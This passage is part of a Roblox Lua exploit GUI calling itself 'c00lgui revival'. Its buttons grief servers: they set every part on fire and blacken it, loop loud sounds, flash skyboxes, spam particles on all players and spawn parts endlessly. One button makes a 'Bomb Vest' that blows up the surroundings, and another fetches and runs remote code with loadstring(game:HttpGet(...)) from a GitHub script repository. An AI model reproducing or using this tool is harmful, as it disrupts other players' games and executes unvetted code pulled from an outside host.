Two.Texture = "http://www.roblox.com/asset/?id="..decalID Three.Texture = "http://www.roblox.com/asset/?id="..decalID Four.Texture = "http://www.roblox.com/asset/?id="..decalID Five.Texture = "http://www.roblox.com/asset/?id="..decalID Six.Texture = "http://www.roblox.com/asset/?id="..decalID One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" end exPro(v) end end function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(game.Workspace) asdf(game.Workspace) local s = Instance.new("Sky") s.Name = "Sky" s.Parent = game.Lighting local skyboxID = "158118263" s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID game.Lighting.TimeOfDay = 12 local playerLeaderstats = {} for i, v in pairs(game.Players:GetChildren()) do table.insert(playerLeaderstats, v) end for i, v in pairs(playerLeaderstats) do pe = Instance.new("ParticleEmitter",v.Character.Torso) pe.Texture = "http://www.roblox.com/asset/?id=158118263" pe.VelocitySpread = 50 se = Instance.new("ParticleEmitter",v.Character.Torso) se.Texture = "http://www.roblox.com/asset/?id=158118263" se.VelocitySpread = 50 fe = Instance.new("ParticleEmitter",v.Character.Torso) fe.Texture = "http://www.roblox.com/asset/?id=158118263" fe.VelocitySpread = 50 end for i,v in pairs(game.Workspace:GetChildren()) do if v.className == "Sound" then v:Stop() v:Remove() end end s = Instance.new("Sound",game.Workspace) s.SoundId = "rbxassetid://95156028272944" s.Volume = 3 s.Looped = true s.Pitch = 0.2 s:Play() wait(.1) s:Play() end) end; task.spawn(C_123); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript local function C_125() local script = G2L["125"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() imageOne = "http://www.roblox.com/asset/?id=169585459" imageTwo = "http://www.roblox.com/asset/?id=169585475" imageThree = "http://www.roblox.com/asset/?id=169585485" imageFour = "http://www.roblox.com/asset/?id=169585502" imageFive = "http://www.roblox.com/asset/?id=169585515" imageSix = "http://www.roblox.com/asset/?id=169585502" imageSeven = "http://www.roblox.com/asset/?id=169585485" imageEight = "http://www.roblox.com/asset/?id=169585475" Spooky = Instance.new("Sound", workspace) Spooky.Name = "Spooky" Spooky.SoundId = "rbxassetid://174270407" Spooky.Volume = 15 Spooky.Looped = true Spooky:Play() Sky = Instance.new("Sky", game.Lighting) Sky.SkyboxBk = imageOne Sky.SkyboxDn = imageOne Sky.SkyboxFt = imageOne Sky.SkyboxLf = imageOne Sky.SkyboxRt = imageOne Sky.SkyboxUp = imageOne while true do Sky.SkyboxBk = imageOne Sky.SkyboxDn = imageOne Sky.SkyboxFt = imageOne Sky.SkyboxLf = imageOne Sky.SkyboxRt = imageOne Sky.SkyboxUp = imageOne wait(0.15) Sky.SkyboxBk = imageTwo Sky.SkyboxDn = imageTwo Sky.SkyboxFt = imageTwo Sky.SkyboxLf = imageTwo Sky.SkyboxRt = imageTwo Sky.SkyboxUp = imageTwo wait(0.15) Sky.SkyboxBk = imageThree Sky.SkyboxDn = imageThree Sky.SkyboxFt = imageThree Sky.SkyboxLf = imageThree Sky.SkyboxRt = imageThree Sky.SkyboxUp = imageThree wait(0.15) Sky.SkyboxBk = imageFour Sky.SkyboxDn = imageFour Sky.SkyboxFt = imageFour Sky.SkyboxLf = imageFour Sky.SkyboxRt = imageFour Sky.SkyboxUp = imageFour wait(0.15) Sky.SkyboxBk = imageFive Sky.SkyboxDn = imageFive Sky.SkyboxFt = imageFive Sky.SkyboxLf = imageFive Sky.SkyboxRt = imageFive Sky.SkyboxUp = imageFive wait(0.15) Sky.SkyboxBk = imageSix Sky.SkyboxDn = imageSix Sky.SkyboxFt = imageSix Sky.SkyboxLf = imageSix Sky.SkyboxRt = imageSix Sky.SkyboxUp = imageSix wait(0.15) Sky.SkyboxBk = imageSeven Sky.SkyboxDn = imageSeven Sky.SkyboxFt = imageSeven Sky.SkyboxLf = imageSeven Sky.SkyboxRt = imageSeven Sky.SkyboxUp = imageSeven wait(0.15) Sky.SkyboxBk = imageEight Sky.SkyboxDn = imageEight Sky.SkyboxFt = imageEight Sky.SkyboxLf = imageEight Sky.SkyboxRt = imageEight Sky.SkyboxUp = imageEight wait(0.15) end end) end; task.spawn(C_125); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript local function C_127() local script = G2L["127"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local basics = {Color3.new(255/255,0/255,0/255),Color3.new(255/255,85/255,0/255),Color3.new(218/255,218/255,0/255),Color3.new(0/255,190/255,0/255),Color3.new(0/255,85/255,255/255),Color3.new(0/255,0/255,127/255),Color3.new(170/255,0/255,255/255),Color3.new(0/255,204/255,204/255),Color3.new(255/255,85/255,127/255),Color3.new(0/255,0/255,0/255),Color3.new(255/255,255/255,255/255)} game.Lighting.FogStart = 25 game.Lighting.FogEnd = 300 while true do wait(0.5) game.Lighting.FogColor = basics[math.random(1,#basics)] end end) end; task.spawn(C_127); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript local function C_129() local script = G2L["129"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() for i,v in next,workspace:children''do if(v:IsA'BasePart')then me=v; bbg=Instance.new('BillboardGui',me); bbg.Name='stuf'; bbg.Adornee=me; bbg.Size=UDim2.new(2.5,0,2.5,0) --bbg.StudsOffset=Vector3.new(0,2,0) tlb=Instance.new'TextLabel'; tlb.Text='666 666 666 666 666 666'; tlb.Font='SourceSansBold'; tlb.FontSize='Size48'; tlb.TextColor3=Color3.new(1,0,0); tlb.Size=UDim2.new(1.25,0,1.25,0); tlb.Position=UDim2.new(-0.125,-22,-1.1,0); tlb.BackgroundTransparency=1; tlb.Parent=bbg; end;end; function xds(dd) for i,v in next,dd:children''do if(v:IsA'BasePart')then v.BrickColor=BrickColor.new'Really black'; v.TopSurface='Smooth'; v.BottomSurface='Smooth'; s=Instance.new('SelectionBox',v); s.Adornee=v; s.Color=BrickColor.new'Really red'; a=Instance.new('PointLight',v); a.Color=Color3.new(1,0,0); a.Range=15; a.Brightness=5; f=Instance.new('Fire',v); f.Size=19; f.Heat=22; end; game.Lighting.TimeOfDay=0; game.Lighting.Brightness=0; game.Lighting.ShadowColor=Color3.new(0,0,0); game.Lighting.Ambient=Color3.new(1,0,0); game.Lighting.FogEnd=200; game.Lighting.FogColor=Color3.new(0,0,0); local dec = 'http://www.roblox.com/asset/?id=19399245'; local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'} --coroutine.wrap(function() --for ,_ in pairs(fac) do --local ddec = Instance.new("Decal", v) --ddec.Face = --ddec.Texture = dec --end end)() if #(v:GetChildren())>0 then xds(v) end end end xds(game.Workspace) local s = Instance.new("Sound") s.Name = "Sound" s.SoundId = "http://www.roblox.com/asset/?id=35935204" s.Volume = 1 s.Pitch = 0.9 s.Looped = true s.archivable = false s.Parent = game.Workspace wait(1) s:play() end) end; task.spawn(C_129); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript local function C_12b() local script = G2L["12b"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() for _, v in pairs(character.Torso:GetChildren()) do if v:IsA("Decal") then v:Destroy() end end for _, v in pairs(character:GetChildren()) do if v:IsA("Hat") then v:Destroy() end end local duck = Instance.new("SpecialMesh", character.Torso) duck.MeshType = "FileMesh" duck.MeshId = "http://www.roblox.com/asset/?id=9419831" duck.TextureId = "http://www.roblox.com/asset/?id=9419827" duck.Scale = Vector3.new(5, 5, 5) character.Head.Transparency = 1 character["Left Arm"].Transparency = 1 character["Right Arm"].Transparency = 1 character["Left Leg"].Transparency = 1 character["Right Leg"].Transparency = 1 character.Head:FindFirstChild("face").Transparency = 1 end) end; task.spawn(C_12b); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript local function C_12d() local script = G2L["12d"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local playerLeaderstats = {} for i, v in pairs(game.Players:GetChildren()) do table.insert(playerLeaderstats, v) end for i, v in pairs(playerLeaderstats) do pe = Instance.new("ParticleEmitter",v.Character.Torso) pe.Texture = "http://www.roblox.com/asset/?id=8979672" pe.VelocitySpread = 50 se = Instance.new("ParticleEmitter",v.Character.Torso) se.Texture = "http://www.roblox.com/asset/?id=176067516" se.VelocitySpread = 50 fe = Instance.new("ParticleEmitter",v.Character.Torso) fe.Texture = "http://www.roblox.com/asset/?id=179012130" fe.VelocitySpread = 50 end end) end; task.spawn(C_12d); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript local function C_12f() local script = G2L["12f"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local Me = game:GetService("Players").LocalPlayer local Char = Me.Character local Torso = Char.Torso local TickWait = 1 local Color = "Medium stone gray" local Dead = false local Tool = Instance.new("HopperBin", Me.Backpack) Tool.Name = "Bomb Vest" local Position = Vector3.new(0,100,0) function NewPart(Parent) local Part = Instance.new("Part", Parent) Part.CanCollide = false Part.FormFactor = "Custom" Part.Position = Position Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth" Part.BrickColor = BrickColor.new(Color) Position = Position + Vector3.new(0,Part.Size.Y + 10,0) return Part end local Model = Char:FindFirstChild("Bomb") if Model then Model:Destroy() end Model = Instance.new("Model", Char) Model.Name = "Bomb" local Belt = NewPart(Model) Belt.Size = Vector3.new(2.2,0.5,1.2) local Weld = Instance.new("Weld", Belt) Weld.Part0 = Belt Weld.Part1 = Torso Weld.C0 = CFrame.new(0,1.1,0) local Light = Instance.new("PointLight", Belt) Light.Range = 15 Light.Brightness = 5 Light.Color = Color3.new(1,0,0) local Beep = Instance.new("Sound", Belt) Beep.SoundId = "http://www.roblox.com/asset/?id=188588790" local ExplodeSound = Instance.new("Sound", Belt) ExplodeSound.SoundId = "http://www.roblox.com/asset/?id="..(tonumber((math.ceil(1776.66^2)+17).."."..string.rep("36",3))*77)+0.00003 --144507765 ExplodeSound.Pitch = 2.8 ExplodeSound.Volume = 100 local Back = NewPart(Model) Back.Size = Vector3.new(1.5,1.5,0.5) local Weld = Instance.new("Weld", Back) Weld.Part0 = Back Weld.Part1 = Torso Weld.C0 = CFrame.new(0,0.1,-0.75) local StrapLeft = NewPart(Model) StrapLeft.Size = Vector3.new(0.2,0.5,1.6) local Weld = Instance.new("Weld", StrapLeft) Weld.Part0 = StrapLeft Weld.Part1 = Torso Weld.C0 = CFrame.new(0.65,-0.9,-0.2) local BuckleLeft = NewPart(Model) BuckleLeft.Size = Vector3.new(0.2,1.5,0.2) local Weld = Instance.new("Weld", BuckleLeft) Weld.Part0 = BuckleLeft Weld.Part1 = Torso Weld.C0 = CFrame.new(0.65,0.1,0.5) local StrapRight = NewPart(Model) StrapRight.Size = Vector3.new(0.2,0.5,1.6) local Weld = Instance.new("Weld", StrapRight) Weld.Part0 = StrapRight Weld.Part1 = Torso Weld.C0 = CFrame.new(-0.65,-0.9,-0.2) local BuckleRight = NewPart(Model) BuckleRight.Size = Vector3.new(0.2,1.5,0.2) local Weld = Instance.new("Weld", BuckleRight) Weld.Part0 = BuckleRight Weld.Part1 = Torso Weld.C0 = CFrame.new(-0.65,0.1,0.5) Tool.Selected:connect(function(Mouse) TickWait = 0.3 Mouse.Icon = "http://www.roblox.com/asset/?id=9109985" Mouse.Button1Down:connect(function() if Dead == false then Dead = true ExplodeSound:Play() wait(1.4) local Explosion = Instance.new("Explosion", Workspace) Explosion.Position = Belt.Position Explosion.BlastPressure = 100000 Explosion.DestroyJointRadiusPercent = 0.7 Explosion.ExplosionType = "CratersAndDebris" Explosion.BlastRadius = 50 Explosion.Hit:connect(function(Part, Distance) Part.Anchored = false if Distance <= 10 then Part:BreakJoints() end end) end end) end) Tool.Deselected:connect(function() TickWait = 1 end) coroutine.wrap(function() repeat wait(TickWait) Light.Enabled = not Light.Enabled Beep:Play() until Dead == true end)() end) end; task.spawn(C_12f); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript local function C_131() local script = G2L["131"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.mid local input2 = script.Parent.Parent.Parent.Parent.Settings.Page.Section2.mpid local Workspace = game.Workspace button.MouseButton1Down:Connect(function() for i,v in pairs(game.Workspace:GetChildren()) do if v.className == "Sound" then v:Stop() v:Remove() end end s = Instance.new("Sound",Workspace) s.SoundId = "rbxassetid://"..input.Text s.Volume = 1 s.Looped = true s.Pitch = input2.Text s:Play() wait(.1) s:Play() end) end; task.spawn(C_131); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript local function C_133() local script = G2L["133"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/hyperionhax/FDScripts/refs/heads/main/Grab%20Knife%20V4"))() end) end; task.spawn(C_133); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript local function C_135() local script = G2L["135"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() while true do local b = Instance.new("Part", workspace) b.Size = Vector3.new(4, 1, 2) b.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 3, 0) b.Anchored = false wait() end end) end; task.spawn(C_135); -- StarterGui.CoolGui.CloseOpen.cope local function C_137() local script = G2L["137"]; local cope = script.Parent local frame = script.Parent.Parent.Frame cope.MouseButton1Down:connect(function() if cope.Text == "Close" then frame.Visible = false cope.Text = "Open" else frame.Visible = true cope.Text = "Close" end end) end; task.spawn(C_137); game:GetService("StarterGui"):SetCore("SendNotification", { Title = "c00lgui", Text = "c00lgui revival has loaded.", Icon = "http://www.roblox.com/asset/?id=89243526849526", Duration = 3, }) return G2L["1"], require;